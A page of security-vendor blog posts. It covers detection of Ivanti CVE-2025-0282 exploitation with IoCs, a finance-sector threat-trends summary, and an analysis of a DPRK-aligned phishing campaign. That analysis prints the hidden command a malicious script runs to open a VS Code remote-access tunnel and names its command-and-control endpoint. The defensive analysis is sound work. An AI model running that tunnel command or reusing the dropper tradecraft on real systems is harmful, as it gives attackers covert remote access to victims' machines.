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March 7, 2025

Darktrace's Early Detection of the Latest Ivanti Exploits

In January 2025, Ivanti disclosed two critical vulnerabilities affecting their products. Darktrace detected exploitation of these vulnerabilities as early as December 2024.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Hugh Turnbull
Cyber Analyst
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07
Mar 2025

As reported in Darktrace’s 2024 Annual Threat Report, the exploitation of Common Vulnerabilities and Exposures (CVEs) in edge infrastructure has consistently been a significant concern across the threat landscape, with internet-facing assets remaining highly attractive to various threat actors.

Back in January 2024, the Darktrace Threat Research team investigated a surge of malicious activity from zero-day vulnerabilities such as those at the time on Ivanti Connect Secure (CS) and Ivanti Policy Secure (PS) appliances. These vulnerabilities were disclosed by Ivanti in January 2024 as CVE-2023-46805 (Authentication bypass vulnerability) and CVE-2024-21887 (Command injection vulnerability), where these two together allowed for unauthenticated, remote code execution (RCE) on vulnerable Ivanti systems.

What are the latest vulnerabilities in Ivanti products?

In early January 2025, two new vulnerabilities were disclosed in Ivanti CS and PS, as well as their Zero Trust Access (ZTA) gateway products.

  • CVE-2025-0282: A stack-based buffer overflow vulnerability. Successful exploitation could lead to unauthenticated remote code execution, allowing attackers to execute arbitrary code on the affected system [1]
  • CVE-2025-0283: When combined with CVE-2025-0282, this vulnerability could allow a local authenticated attacker to escalate privileges, gaining higher-level access on the affected system [1]

Ivanti also released a statement noting they are currently not aware of any exploitation of CVE-2025-0283 at the time of disclosure [1].

Darktrace coverage of Ivanti

The Darktrace Threat Research team investigated the new Ivanti vulnerabilities across their customer base and discovered suspicious activity on two customer networks. Indicators of Compromise (IoCs) potentially indicative of successful exploitation of CVE-2025-0282 were identified as early as December 2024, 11 days before they had been publicly disclosed by Ivanti.

Case 1: December 2024

Authentication with a Privileged Credential

Darktrace initially detected suspicious activity connected with the exploitation of CVE-2025-0282 on December 29, 2024, when a customer device was observed logging into the network via SMB using the credential “svc_negbackups”, before authenticating with the credential “svc_negba” via RDP.

This likely represented a threat actor attempting to identify vulnerabilities within the system or application and escalate their privileges from a basic user account to a more privileged one. Darktrace / NETWORK recognized that the credential “svc_negbackups” was new for this device and therefore deemed it suspicious.

Darktrace / NETWORK’s detection of the unusual use of a new credential.
Figure 1: Darktrace / NETWORK’s detection of the unusual use of a new credential.

Likely Malicious File Download

Shortly after authentication with the privileged credential, Darktrace observed the device performing an SMB write to the C$ share, where a likely malicious executable file, ‘DeElevate64.exe’ was detected. While this is a legitimate Windows file, it can be abused by malicious actors for Dynamic-Link Library (DLL) sideloading, where malicious files are transferred onto other devices before executing malware. There have been external reports indicating that threat actors have utilized this technique when exploiting the Ivanti vulnerabilities [2].

Darktrace’s detection the SMB write of the likely malicious file ‘DeElevate64.exe’ on December 29, 2024.
Figure 2: Darktrace’s detection the SMB write of the likely malicious file ‘DeElevate64.exe’ on December 29, 2024.

Shortly after, a high volume of SMB login failures using the credential “svc_counteract-ext” was observed, suggesting potential brute forcing activity. The suspicious nature of this activity triggered an Enhanced Monitoring model alert that was escalated to Darktrace’s Security Operations Center (SOC) for further investigation and prompt notification, as the customer was subscribed to the Security Operations Support service.  Enhanced Monitoring are high-fidelity models detect activities that are more likely to be indicative of compromise

Suspicious Scanning and Internal Reconnaissance

Darktrace then went on to observe the device carrying out network scanning activity as well as anomalous ITaskScheduler activity. Threat actors can exploit the task scheduler to facilitate the initial or recurring execution of malicious code by a trusted system process, often with elevated permissions. The same device was also seen carrying out uncommon WMI activity.

Darktrace’s detection of a suspicious network scan from the compromised device.
Figure 3: Darktrace’s detection of a suspicious network scan from the compromised device.

Further information on the suspicious scanning activity retrieved by Cyber AI Analyst, including total number of connections and ports scanned.
Figure 4: Further information on the suspicious scanning activity retrieved by Cyber AI Analyst, including total number of connections and ports scanned.
Darktrace’s detection of a significant spike in WMI activity represented by DCE_RPC protocol request increases at the time, with little to no activity observed one week either side.
Figure 5: Darktrace’s detection of a significant spike in WMI activity represented by DCE_RPC protocol request increases at the time, with little to no activity observed one week either side.

Case 2: January 2025

Suspicious File Downloads

On January 13, 2025, Darktrace began to observe activity related to the exploitation of CVE-2025-0282  on the network of another customer, with one in particular device attempting to download likely malicious files.

Firstly, Darktrace observed the device making a GET request for the file “DeElevator64.dll” hosted on the IP 104.238.130[.]185. The device proceeded to download another file, this time “‘DeElevate64.exe”. from the same IP. This was followed by the download of “DeElevator64.dll”, similar to the case observed in December 2024. External reporting indicates that this DLL has been used by actors exploiting CVE-2025-0282 to sideload backdoor into infected systems [2]

Darktrace’s detection of the download of the suspicious file “DeElevator64.dll” on January 13, 2025.
Figure 6: Darktrace’s detection of the download of the suspicious file “DeElevator64.dll” on January 13, 2025.

Suspicious Internal Activity

Just like the previous case, on January 15, the same device was observed making numerous internal connections consistent with network scanning activity, as well as DCE-RPC requests.

Just a few minutes later, Darktrace again detected the use of a new administrative credential, observing the following details:

  • domain=REDACTED hostname=DESKTOP-1JIMIV3 auth_successful=T result=success ntlm_version=2 .

The hostname observed by Darktrace, “DESKTOP-1JIMIV3,” has also been identified by other external vendors and was associated with a remote computer name seen accessing compromised accounts [2].

Darktrace also observed the device performing an SMB write of an additional file, “to.bat,” which may have represented another malicious file loaded from the DLL files that the device had downloaded earlier. It is possible this represented the threat actor attempting to deploy a remote scheduled task.

Darktrace’s detection of SMB Write of the suspicious file “to.bat”.
Figure 7: Darktrace’s detection of SMB Write of the suspicious file “to.bat”.

Further investigation revealed that the device was likely a Veeam server, with its MAC address indicating it was a VMware device. It also appeared that the Veeam server was capturing activities referenced from the hostname DESKTOP-1JIMIV3. This may be analogous to the remote computer name reported by external researchers as accessing accounts [2]. However, this activity might also suggest that while the same threat actor and tools could be involved, they may be targeting a different vulnerability in this instance.

Autonomous Response

In this case, the customer had Darktrace’s Autonomous Response capability enabled on their network. As a result, Darktrace was able to contain the compromise and shut down any ongoing suspicious connectivity by blocking internal connections and enforcing a “pattern of life” on the affected device. This action allows a device to make its usual connections while blocking any that deviate from expected behavior. These mitigative actions by Darktrace ensured that the compromise was promptly halted, preventing any further damage to the customer’s environment.

Darktrace's Autonomous Response capability actively mitigating the suspicious internal connectivity.
Figure 8: Darktrace's Autonomous Response capability actively mitigating the suspicious internal connectivity.

Conclusion

If the previous blog in January 2024 was a stark reminder of the threat posed by malicious actors exploiting Internet-facing assets, the recent activities surrounding CVE-2025-0282 and CVE-2025-0283 emphasize this even further.

Based on the telemetry available to Darktrace, a wide range of malicious activities were identified, including the malicious use of administrative credentials, the download of suspicious files, and network scanning in the cases investigated .

These activities included the download of suspicious files such as “DeElevate64.exe” and “DeElevator64.dll” potentially used by attackers to sideload backdoors into infected systems. The suspicious hostname DESKTOP-1JIMIV3 was also observed and appears to be associated with a remote computer name seen accessing compromised accounts. These activities are far from exhaustive, and many more will undoubtedly be uncovered as threat actors evolve.

Fortunately, Darktrace was able to swiftly detect and respond to suspicious network activity linked to the latest Ivanti vulnerabilities, sometimes even before these vulnerabilities were publicly disclosed.

Credit to: Nahisha Nobregas, Senior Cyber Analyst, Emma Foulger, Principle Cyber Analyst, Ryan Trail, Analyst Content Lead and the Darktrace Threat Research Team

Appendices

Darktrace Model Detections

Case 1

·      Anomalous Connection / Unusual Admin SMB Session

·      Anomalous File / EXE from Rare External Location

·      Anomalous File / Internal / Unusual SMB Script Write

·      Anomalous File / Multiple EXE from Rare External Locations

·      Anomalous File / Script from Rare External Location

·      Compliance / SMB Drive Write

·      Device / Multiple Lateral Movement Model Alerts

·      Device / Network Range Scan

·      Device / Network Scan

·      Device / New or Uncommon WMI Activity

·      Device / RDP Scan

·      Device / Suspicious Network Scan Activity

·      Device / Suspicious SMB Scanning Activity

·      User / New Admin Credentials on Client

·      User / New Admin Credentials on Server 

Case 2

·      Anomalous Connection / Unusual Admin SMB Session

·      Anomalous Connection / Unusual Admin RDP Session

·      Compliance / SMB Drive Write

·      Device / Multiple Lateral Movement Model Alerts

·      Device / SMB Lateral Movement

·      Device / Possible SMB/NTLM Brute Force

·      Device / Suspicious SMB Scanning Activity

·      Device / Network Scan

·      Device / RDP Scan

·      Device / Large Number of Model Alerts

·      Device / Anomalous ITaskScheduler Activity

·      Device / Suspicious Network Scan Activity

·      Device / New or Uncommon WMI Activity

List of IoCs Possible IoCs:

·      DeElevator64.dll

·      deelevator64.dll

·      DeElevate64.exe

·      deelevator64.dll

·      deelevate64.exe

·      to.bat

Mid-high confidence IoCs:

-       104.238.130[.]185

-       http://104.238.130[.]185/DeElevate64.exe

-       http://104.238.130[.]185/DeElevator64.dll

-       DESKTOP-1JIMIV3

References:

1.     https://www.ivanti.com/blog/security-update-ivanti-connect-secure-policy-secure-and-neurons-for-zta-gateways

2.     https://unit42.paloaltonetworks.com/threat-brief-ivanti-cve-2025-0282-cve-2025-0283/

3.     https://www.proofpoint.com/uk/blog/identity-threat-defense/privilege-escalation-attack#:~:text=In%20this%20approach%2C%20attackers%20exploit,handing%20over%20their%20login%20credentials

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Hugh Turnbull
Cyber Analyst

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January 28, 2026

The State of Cybersecurity in the Finance Sector: Six Trends to Watch

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The evolving cybersecurity threat landscape in finance

The financial sector, encompassing commercial banks, credit unions, financial services providers, and cryptocurrency platforms, faces an increasingly complex and aggressive cyber threat landscape. The financial sector’s reliance on digital infrastructure and its role in managing high-value transactions make it a prime target for both financially motivated and state-sponsored threat actors.

Darktrace’s latest threat research, The State of Cybersecurity in the Finance Sector, draws on a combination of Darktrace telemetry data from real-world customer environments, open-source intelligence, and direct interviews with financial-sector CISOs to provide perspective on how attacks are unfolding and how defenders in the sector need to adapt.  

Six cybersecurity trends in the finance sector for 2026

1. Credential-driven attacks are surging

Phishing continues to be a leading initial access vector for attacks targeting confidentiality. Financial institutions are frequently targeted with phishing emails designed to harvest login credentials. Techniques including Adversary-in-The-Middle (AiTM) to bypass Multi-factor Authentication (MFA) and QR code phishing (“quishing”) are surging and are capable of fooling even trained users. In the first half of 2025, Darktrace observed 2.4 million phishing emails within financial sector customer deployments, with almost 30% targeted towards VIP users.  

2. Data Loss Prevention is an increasing challenge

Compliance issues – particularly data loss prevention -- remain a persistent risk. In October 2025 alone, Darktrace observed over 214,000 emails across financial sector customers that contained unfamiliar attachments and were sent to suspected personal email addresses highlighting clear concerns around data loss prevention. Across the same set of customers within the same time frame, more than 351,000 emails containing unfamiliar attachments were sent to freemail addresses (e.g. gmail, yahoo, icloud), highlighting clear concerns around DLP.  

Confidentiality remains a primary concern for financial institutions as attackers increasingly target sensitive customer data, financial records, and internal communications.  

3. Ransomware is evolving toward data theft and extortion

Ransomware is no longer just about locking systems, it’s about stealing data first and encrypting second. Groups such as Cl0p and RansomHub now prioritize exploiting trusted file-transfer platforms to exfiltrate sensitive data before encryption, maximizing regulatory and reputational fallout for victims.  

Darktrace’s threat research identified routine scanning and malicious activity targeting internet-facing file-transfer systems used heavily by financial institutions. In one notable case involving Fortra GoAnywhere MFT, Darktrace detected malicious exploitation behavior six days before the CVE was publicly disclosed, demonstrating how attackers often operate ahead of patch cycles

This evolution underscores a critical reality: by the time a vulnerability is disclosed publicly, it may already be actively exploited.

4. Attackers are exploiting edge devices, often pre-disclosure.  

VPNs, firewalls, and remote access gateways have become high-value targets, and attackers are increasingly exploiting them before vulnerabilities are publicly disclosed. Darktrace observed pre-CVE exploitation activity affecting edge technologies including Citrix, Palo Alto, and Ivanti, enabling session hijacking, credential harvesting, and privileged lateral movement into core banking systems.  

Once compromised, these edge devices allow adversaries to blend into trusted network traffic, bypassing traditional perimeter defenses. CISOs interviewed for the report repeatedly described VPN infrastructure as a “concentrated focal point” for attackers, especially when patching and segmentation lag behind operational demands.

5. DPRK-linked activity is growing across crypto and fintech.  

State-sponsored activity, particularly from DPRK-linked groups affiliated with Lazarus, continues to intensify across cryptocurrency and fintech organizations. Darktrace identified coordinated campaigns leveraging malicious npm packages, previously undocumented BeaverTail and InvisibleFerret malware, and exploitation of React2Shell (CVE-2025-55182) for credential theft and persistent backdoor access.  

Targeting was observed across the United Kingdom, Spain, Portugal, Sweden, Chile, Nigeria, Kenya, and Qatar, highlighting the global scope of these operations.  

7. Cloud complexity and AI governance gaps are now systemic risks.  

Finally, CISOs consistently pointed to cloud complexity, insider risk from new hires, and ungoverned AI usage exposing sensitive data as systemic challenges. Leaders emphasized difficulty maintaining visibility across multi-cloud environments while managing sensitive data exposure through emerging AI tools.  

Rapid AI adoption without clear guardrails has introduced new confidentiality and compliance risks, turning governance into a board-level concern rather than a purely technical one.

Building cyber resilience in a shifting threat landscape

The financial sector remains a prime target for both financially motivated and state-sponsored adversaries. What this research makes clear is that yesterday’s security assumptions no longer hold. Identity attacks, pre-disclosure exploitation, and data-first ransomware require adaptive, behavior-based defenses that can detect threats as they emerge, often ahead of public disclosure.

As financial institutions continue to digitize, resilience will depend on visibility across identity, edge, cloud, and data, combined with AI-driven defense that learns at machine speed.  

Learn more about the threats facing the finance sector, and what your organization can do to keep up in The State of Cybersecurity in the Finance Sector report here.  

Acknowledgements:

The State of Cybersecurity in the Finance sector report was authored by Calum Hall, Hugh Turnbull, Parvatha Ananthakannan, Tiana Kelly, and Vivek Rajan, with contributions from Emma Foulger, Nicole Wong, Ryan Traill, Tara Gould, and the Darktrace Threat Research and Incident Management teams.

[related-resource]  

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Nathaniel Jones
VP, Security & AI Strategy, Field CISO

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January 27, 2026

Darktrace Identifies Campaign Targeting South Korea Leveraging VS Code for Remote Access

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Introduction

Darktrace analysts recently identified a campaign aligned with Democratic People’s Republic of Korea (DPRK) activity that targets users in South Korea, leveraging Javascript Encoded (JSE) scripts and government-themed decoy documents to deploy a Visual Studio Code (VS Code) tunnel to establish remote access.

Technical analysis

Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.
Figure 1: Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.

The sample observed in this campaign is a JSE file disguised as a Hangul Word Processor (HWPX) document, likely sent to targets via a spear-phishing email. The JSE file contains multiple Base64-encoded blobs and is executed by Windows Script Host. The HWPX file is titled “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026 (1)” in C:\ProgramData and is opened as a decoy. The Hangul documents impersonate the Ministry of Personnel Management, a South Korean government agency responsible for managing the civil service. Based on the metadata within the documents, the threat actors appear to have taken the documents from the government’s website and edited them to appear legitimate.

Base64 encoded blob.
Figure 2: Base64 encoded blob.

The script then downloads the VSCode CLI ZIP archives from Microsoft into C:\ProgramData, along with code.exe (the legitimate VS Code executable) and a file named out.txt.

In a hidden window, the command cmd.exe /c echo | "C:\ProgramData\code.exe" tunnel --name bizeugene > "C:\ProgramData\out.txt" 2>&1 is run, establishinga VS Code tunnel named “bizeugene”.

VSCode Tunnel setup.
Figure 3: VSCode Tunnel setup.

VS Code tunnels allows users connect to a remote computer and use Visual Studio Code. The remote computer runs a VS Code server that creates an encrypted connection to Microsoft’s tunnel service. A user can then connect to that machine from another device using the VS Code application or a web browser after signing in with GitHub or Microsoft. Abuse of VS Code tunnels was first identified in 2023 and has since been used by Chinese Advance Persistent Threat (APT) groups targeting digital infrastructure and government entities in Southeast Asia [1].

 Contents of out.txt.
Figure 4: Contents of out.txt.

The file “out.txt” contains VS Code Server logs along with a generated GitHub device code. Once the threat actor authorizes the tunnel from their GitHub account, the compromised system is connected via VS Code. This allows the threat actor to have interactive access over the system, with access to the VS Code’s terminal and file browser, enabling them to retrieve payloads and exfiltrate data.

GitHub screenshot after connection is authorized.
Figure 5: GitHub screenshot after connection is authorized.

This code, along with the tunnel token “bizeugene”, is sent in a POST request to hxxps://www[.]yespp[.]co[.]kr/common/include/code/out[.]php, a legitimate South Korean site that has been compromised is now used as a command-and-control (C2) server.

Conclusion

The use of Hancom document formats, DPRK government impersonation, prolonged remote access, and the victim targeting observed in this campaign are consistent with operational patterns previously attributed to DPRK-aligned threat actors. While definitive attribution cannot be made based on this sample alone, the alignment with established DPRK tactics, techniques, and procedures (TTPs) increases confidence that this activity originates from a DPRK state-aligned threat actor.

This activity shows how threat actors can use legitimate software rather than custom malware to maintain access to compromised systems. By using VS Code tunnels, attackers are able to communicate through trusted Microsoft infrastructure instead of dedicated C2 servers. The use of widely trusted applications makes detection more difficult, particularly in environments where developer tools are commonly installed. Traditional security controls that focus on blocking known malware may not identify this type of activity, as the tools themselves are not inherently malicious and are often signed by legitimate vendors.

Credit to Tara Gould (Malware Research Lead)
Edited by Ryan Traill (Analyst Content Lead)

Appendix

Indicators of Compromise (IoCs)

115.68.110.73 - compromised site IP

9fe43e08c8f446554340f972dac8a68c - 2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse

MITRE ATTACK

T1566.001 - Phishing: Attachment

T1059 - Command and Scripting Interpreter

T1204.002 - User Execution

T1027 - Obfuscated Files and Information

T1218 - Signed Binary Proxy Execution

T1105 - Ingress Tool Transfer

T1090 - Proxy

T1041 - Exfiltration Over C2 Channel

References

[1]  https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/

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